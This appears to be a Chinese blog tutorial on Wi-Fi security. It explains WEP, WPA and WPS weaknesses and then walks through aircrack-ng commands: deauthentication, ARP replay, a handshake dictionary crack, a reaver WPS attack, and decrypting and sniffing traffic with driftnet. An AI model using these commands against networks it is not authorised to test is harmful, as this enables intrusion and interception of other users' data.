0#4 无线网络

0x00前言

谈到无线网络,第一个想到的应该是 wifi,或者是 IEEE 802.11。这个协议。当然无线网络不只是这两个,单是 IEEE 802下就有像 ZigBee 等其他的无线协议。
这次进行扩展的也只是 IEEE 802.11 这个协议。
使用的工具是 aircrack-ng
安装方式

sudo apt-get install aircrack-ng

作案工具:
TL-WN722N 无线网卡(必须)
15dB无线网卡信号增强天线(可选)
优点:
1.能完成基本全部的攻击方式
缺点:
1.使用USB2.0,如果用来上网的话,网速很慢。
2.只支持2.4G网络
USB插入后确认是否使用
之后所有的命令都是在root下执行的

airmon-ng
0#4 无线网络_第1张图片
图片.png

0x01正题

无线网络使网络连接更加方便,假想一下,如果机场提供的网络服务是有线网络。((靠#`‘)你踩到我的线了)
所以无线网络确实非常方便,
1.无线网络成为互联网越来越重要的入口。
但是也出现了一些问题。
2.无线网络使内网的边界模糊化。
比如你在家中,可能也能看见隔壁邻居的WIFI账号,虽然你可能没有密码。。。。。。
3.安全实施缺失而且困难。因为无线的安全性是致命的问题,现在技术只是利用了加密的算法,使窃听者获得的都是加密后的内容。

但是反过来想一下,我再用无线网卡进行抓包的时候,根本没有看见过IEEE 802.11 的协议,说明无线网卡已经将该协议解密了。那想想无线网卡利用说明内容进行解密的呢?比如想 WIFI的密码,一些环境的条件,等等。而我们在窃听的过程中除了 WIFI 密码其他都是随手可得。那是不是我们有了 WIFI 密码,我们就能够解密 IEEE 802.11 的信息了呢?
那就进入下面的内容,开始讨论:
1.IEEE 802.11 协议的内容
2.WEP 加密的方式
3.WPA 加密的方式
4.WPS 为什么不安全

1#1 IEEE 802.11 协议的内容

IEEE 802.11 中含有很多的协议,如下图


0#4 无线网络_第2张图片
IEEE 802.11.png

其中最常用的是 802.11a/b/n/g。
在IEEE802.11 中最常用的是 2.4G 的频率,但是共同利用2.4G频率的协议还有很多,比如 微波炉,蓝牙,GPS,等等,于是含有很多的干扰源,所以IEEE 802.11 在发展中,将5G频率也纳入了使用的范围,这也就是为什么买路由器的时候会有2/5G的内容。但是限于我的无线网卡只支持2.4G,所以一下的演示都是使用2.4G网络。
在2.4G频率中如果两个AP(Access Point,无线访问节点)之间的距离很近,就会产生相互干扰,比如说学校的寝室的WIFI,其实每个房间都有一个WIFI的信号源,但是没有相互干扰,其中一个原因是不同的AP工作在不同的信道上。

1#1.1 信道

第一点,IEEE802.11有不同的信道。


0#4 无线网络_第3张图片
信道.png

不同的国家的信道数可能也会不同,类似经历就是玩树莓派的时候,会让你选择WIFI的国家。
另外一个特点,就是信道的重叠,但是13个信道中一定为会3个信道完全不重叠。
然后信道的概念有了,那IEEE802.11的通讯方式呢?

1#1.2 wireshark

那我们开始使用神器 wireshark 进行抓包分析。

如果没有安装过:
apt-get install wireshark

启动 wireshark 前,我们要将网卡置入 监听模式。你会进入断网状态。
其中wlx24fd523f02c2为我的网卡名

停掉网络服务
service network-manager stop
将监听网卡禁用
ifconfig wlx24fd523f02c2 down
杀死所有妨碍的进程(多进行几次,确保都杀死)
airmon-ng check kill
将网卡置入监听
airmon-ng start wlx24fd523f02c2
查看所有的网卡信息(找出带有mon)
ifconfig -a
一般情况为 wlan0mon
启用监听网卡
ifconfig wlan0mon up
0#4 无线网络_第4张图片
图片.png

这时候我们可以使用wireshark进行抓包使用wlan0mon端口。


0#4 无线网络_第5张图片
图片.png

内容最多的也就是 Beacon 帧。
Beacon就是广播帧告诉附近的STA,附近有本AP。
但是似乎对于新手不是很友好,啥都看不懂。
这里先跳过,具体内容,会在 WireShark 专题进行分析。

1#2 WEP 和WPA 连接过程

详细情况可以参考
WEP和WPA 的连接过程都是相似的,只是加密的方法不同。
连接过程分为4步。2步用来关联,2步用来认证。

0#4 无线网络_第6张图片
连接过程.png

现在我们来考虑一件事情,如果STA与AP是明文传输密码,那我们是不是仅仅用监听的方式就能获取密码了,那毫无安全可言。所以STA与AP不是明文传输密码的,而是用一个challenge,AP 给STA 一个challenge,STA把challenge加密传输给AP,AP知道密码等信息,所以容易验证challenge与密文是否对应。所以直接监听密码的事情是不可能的。而且看上去 chanllenge 和密文的方式,似乎也是无懈可击。
我们来看看对应的弱点吧。

1#3 WEP 和 WPA 加密的方式

WEP为什么不安全,这又是一个难题:


0#4 无线网络_第7张图片
图片.png

网上找到了一个标准的回答,IV容易出现重用,一个安全工程师发现,IV(初始向量)大约每224个会重复出现,主要问题就是伪随机数不够随机。所以利用这个问题,我们收集足够多的相同IV以及对应的密文,分析出共享密码。
大约有如下规律:
64位key需要20万个challenge和密文对。
128位key需要大约150万个challenge和密文对。
因为WEP的问题,所以时隔8年出现了WAP加密方式,WAP加密分为WAP1和WAP2。WAP是目前比较安全的加密方式。WAP1和WAP2同样安全,只是相对而言,WPA2比WPA1更加难破解。
WAP1就是为了兼容WEP。
有如下特点:
1.与WEP一样都采用逐包加密
2.128位key,48位IV
3.有帧计数器避免重放工具
4.使用TKIP(动态改变密钥)
5.使用RC4
WPA2就不兼容WEP的加密方式。比WPA1更加安全,但是也只是WPA1将部分加密单元进行修改
1.CCMP替代TKIP
2.AES替代R4C
但是所有的加密方式都会出现弱密码,也就是我们可以进行暴力破解。提到这个的原因之一是我的路由器没有WEP模式,只有WAP模式,所以无法演示WEP。

1#4 WPS 为什么不安全

WPS是为了像我这种记不住密码的人设计的,路由器上会有一个类似的按钮,旁边写着WPS,只要按一下按钮,连接的设备也按一下类似的按钮,就能进行通讯。看着从传统的软件的连接方式转为了硬件的连接方式,似乎只有管理员本人确认过才能连接,但是却使得本来安全的 WPA 加密方式变得不安全。(并且WPS这个是从硬件上进行设计的,所以根本关不掉)
我们来思考一下关于WPS,如果一台STA已经通过WPS进行连接,那下次重新连接的时候是否需要再次WPS确认呢?
所以AP只关心发送WPS,并不关心是不是对方怎么获得的WPS密钥。
但是很不幸,我的路由器不支持WPS

0x02 实战

实战中使用的是 aircrack-ng 这个套件。使用之前记得

service network-manage stop

2#1 airmon-ng

aircrack-ng 的第一部分就是 airmon-ng

查看帮助
airmon-ng -h
usage: airmon-ng   [channel or frequency]
使用之前要把干扰进程kill(多执行几次)
airmon-ng check kill
将网卡置入monitor模式(9表示9号信道,wlan0表示网卡名)
airmon-ng start wlan0 9
停止monitor模式(wlan0mon表示处于monitor的网卡名)
airmon-ng stop wlan0mon
检查所处于的信道
iwlist wlan0mon channel
0#4 无线网络_第8张图片
信道.png

很明显 airmon-ng 只要与将网卡置入monitor模式有关。

2#2 airodump-ng

airodump-ng 与我们的抓包相关,也是最为重要的一环

查看帮助
airodump-ng --help
usage: airodump-ng  [,,...]
简单的使用:
airodump-ng wlan0mon
一些特别的指定
1.指定信道(11)
-c 11
2.指定AP的MAC地址(C8:D7:19:95:73:96)
--bssid C8:D7:19:95:73:96
3.指定只抓取IV和challenge相关信息
--ivs
4.保存抓包文件
-w test1.cap

一般首先进行粗略的查找,然后再限定内容的查找

0#4 无线网络_第9张图片
图片.png

如果没有看见抓到握手协议:
1.指定工作信道(-c 9)
2.用手机进行连接


然后我们详细解析AP信息栏目的内容:
BSSID:AP的MAC地址
PWR:信号强度,(-50dB以上属于强信号)
RXQ:最近10s成功接受的百分比
Beacons:该帧的数量
#Data:数据帧的数量
#/s:最近10s内每秒的数量
CH:AP工作的信道
MB:AP支持的最大速度
ENC:无线加密技术
CIPHER:加密的套件CCMP指WAP2
AUTH:PSK个人级,MGT企业级别
ESSID:AP的名字


暂时没有WEP的AP。
首先我们要捕捉到握手(handshark)信息

airodump-ng wlan0mon -c 9 --bssid D4:EE:07:66:81:76 -w wep.cap
0#4 无线网络_第10张图片
图片.png

查看生成了什么:


0#4 无线网络_第11张图片
图片.png

如果是正常的 WEP ,会产生一个 xor 文件,但是我这里没有产生

WEP的弱点是IV值不够随机,我们就刺激AP产生大量的IV值内容,(当然,你可以等这120个IV信号。)
刺激产生IV值我们利用aireplay-ng

2#3 aireplay-ng

aireplay-ng按字面的显示是重放攻击的工具。
看看命令:

查看帮助
aireplay-ng --help
  攻击的模式 (numbers can still be used):
      --deauth(解除关联) count : deauthenticate 1 or all stations (-0)
      --fakeauth(伪装关联)delay : fake authentication with AP (-1)
      --interactive       : interactive frame selection (-2)
      --arpreplay(ARP,生成IV的来源) : standard ARP-request replay (-3)
      --chopchop          : decrypt/chopchop WEP packet (-4)
      --fragment          : generates valid keystream   (-5)
      --caffe-latte       : query a client for new IVs  (-6)
      --cfrag             : fragments against a client  (-7)
      --migmode           : attacks WPA migration mode  (-8)
      --test(注入攻击测试) : tests injection and quality (-9)

最常用的就是我标记的4个:
1.注入测试(-9):

基本测试
aireplay-ng -9 wlan0mon
card to card 测试(需要两张无线网卡)
aireplay-ng -9 -i wlan0mon wlan1mon
0#4 无线网络_第12张图片
图片.png

如果显示失败的请多尝试几次。
2.伪装关联攻击(-1)
在WEP攻击的时候,无线网卡触发大量的ARP请求。只有关联后才能发起。

aireplay-ng -1 60 -e lee_gee -y wep.****.xor -a APMAC -h MYMAC wlan0mon

参数解释:
我们利用自己获取的抓包文件,生成有一个xor文件,利用这个文件进行关联。
-1 60:表示使用1号攻击模式,伪装关联攻击,并且每60秒重新关联一次。
-e lee_gee:表示对方AP的ESSID名称
-y ****.xor:表示我们利用哪种xor文件进行伪装关联
-a APMAC:对方AP的MAC地址
-h MYMAC:自己的MAC地址

3.执行ARP重放攻击(-3)
ARP为重要的IV值的来源,所以我们需要听到ARP请求,并把该请求不停的重放。能产生大量的IV值。

aireplay-ng -3 -b APMAC -h 合法客户端MAC wlan0mon
-b:AP的MAC地址
-h:合法客户端的MAC地址

4.双边解除关联攻击(-0)
这一步是触发ARP请求产生
因为真正的IV值与challenge以及加密方式是对方的STA产生的,如果对方因为信号问题被打断了,那STA还会尝试继续连接AP。并且其中含有ARP请求。这才是我们要重放的信号。

aireplay-ng -0 1 -a APMAC -c clientSTAMAC wlan0mon
-a:AP的MAC地址
-c:客户端地址

当然为了能记录全部的过程,我们还要用airodump-ng 进行记录,当data 开始大幅度的上升的时候,说明我们成功了。
接下来就到了最后一部,密码破解:aircrack-ng

2#4 aircrack-ng

aircrack-ng名字上来看crack破解。与破解相关
没啥难度,直接把上面含有大量iv的cap包进行破解。

aircrack-ng web-01.cap

基本上所有WEP破解的内容已经结束了。
整理一下过程:
1.启动monitor模式
2.启动抓包,并保存抓包
3.Deauthentiacation:抓取xor文件
4.利用xor文件与AP关联
5.执行ARP重放
6.再次Deauthentiacation,使client产生ARP请求
7.收集足够多的IV值进行算法破解


有了这些基础之后,我们开始破解WPA攻击。

2#5 WPA暴力破解

先声明一点,WPA的攻击并不是一定能成功的,WPA攻击基本上是一种毫无目的的攻击,成功率单纯的基于时间和密码字典的质量。
很不幸,我找了很多的密码字典,然后发现我的wifi密码没有包含在里面。于是只能手动的在末尾添加一下。
查看密码是否包含在密码字典中的方法:

cat 密码字典.txt|grep 'wifi密码'

在末尾加入wifi密码

echo 'wifi密码' >> 密码字典.txt

暴力破解就没有没有WEP怎么多事情了,但是有个好处,只要把关键信息抓取下来,然后就可能回到家破解了,或者分组破解,这也算是个优点吧。
过程如下:
1.启动monitor

停掉网络服务
service network-manager stop
将监听网卡禁用
ifconfig wlx24fd523f02c2 down
杀死所有妨碍的进程(多进行几次,确保都杀死)
airmon-ng check kill
将网卡置入监听
airmon-ng start wlx24fd523f02c2
查看所有的网卡信息(找出带有mon)
ifconfig -a
一般情况为 wlan0mon
启用监听网卡
ifconfig wlan0mon up

2.开始抓包并保存

airodump-ng -c 9 -bssid C8:D7:19:95:73:96 -w test1.cap wlan0mon

3.Deauthentication攻击获取4步握手协议

另外开一个终端
aireplay-ng -0 1 -a APMAC -c clientSTAMAC wlan0mon

直到airodump界面出现握手信息为止
4.使用字典暴力破解

aircrack-ng -w 字典路径 ***.cap
0#4 无线网络_第13张图片
cost_time.png

可见350万个密码中居然都没有我的密码,成功率基本是依靠计算能力。非常不稳定。

2#6 WPS破解

WPS是WIFI联盟2006年开发的一项技术。
1.通过PIN码来简化无线接入的操作无需记住密码。
2.路由器和网卡各按一个按钮就能加入无线网络,物理性身份识别
3.PIN码是分为前后各4位的2段共8位数字。
WPS同样也是暴力破解,但是WPS的暴力破解是有穷的,也就是100,000,000种可能。但是PIN并不是单独生成PSK密钥,还要加上环境参数。
安全漏洞:
1.接入方可以通过路由器的返回信息判断前4位是否正确,所以可以分为两部分进行尝试,也就是20,000次就能破解PIN码
2.但是实际更加惨,后4位中最后一位是校验码,所以一共只有11,000次可能性。
同样对比8位的PSK((pre-shared key))需要218,340,105,584,896次尝试
所以密码破解的时间更加短了,如果没有锁定机制的情况下,1小时之内就能完成破解,但是不同的厂家有不同的锁定机制,所以每分钟能尝试的次数变得有限。但是一般(10-15)小时之内就能破解。
使用工具 reaver
如果没有下载

apt-get install reaver

使用说明
启动监听模式发现WPS的AP

方法1:
wash -C -i wlan0mon
方法2:
airodump wlan0mon --wps

由于自己的路由器不是硬件上支持WPS,所以无法演示后续内容。
使用wash,速度比较慢,不是非常推荐,但是会把看到过的WPS都记录下来


0#4 无线网络_第14张图片
some_wps.png

使用airodump,发现的速度比较快,但是离开了相关AP的位置,显示就会消失。

0#4 无线网络_第15张图片
图片.png

还是很容易发现生活中使用WPS的用户都很多的。

破解方式:

reaver -i wlan0mon -b APMAC -vv -c 信道 -k 1
-vv:显示详细信息
-c:信道
-k:针对一些芯片有问题的厂家

2#7 已知wifi密码,破解cap包的内容

既然我们都把wifi密码破解了,那么不是就有了所有解码IEEE802.11的方式了吗?
确实是这样的。甚至我们可以直接利用wifi密码进行收集与AP通讯的用户所发送的密码和图片。
1.解码IEEE802.11的cap抓包文件。
为解密之前,用wireshark打开是这样的:

0#4 无线网络_第16张图片
802.11协议.png

通过解码:
使用airdecap:解码

airdecap-ng -e lee_gee -b APMAC -p 密码 ****.cap
0#4 无线网络_第17张图片
解码之后.png

成功显示出正常能看懂的协议了。
但是或许你连这些协议也看不懂。却企图从中获取一些内容。
很幸运确实有这样的工具,使用网络水龙头(at),类似linux中的管道符。
创建网络水龙头:

创建网络水龙头
airtun-ng -a APMAC -p 密码 -e essid wlan0mon
  created tap interface at0
  WPA encryption specified. Sending and receiving frames through wlan0mon.
  FromDS bit set in all frames.

用工具接上水龙头进行过滤:

driftnet -i at0
0#4 无线网络_第18张图片
capture_pic.png

图中内容就是我的QQ中QQ群里发送的图片,被过滤出来了。

0x03 总结

内容还是很粗糙的,比如像WEP/WAP的具体加密方式没有详细的讨论,但是从破解(decap)的角度开看,也大概能看出一些内容来。

你可能感兴趣的:(0#4 无线网络)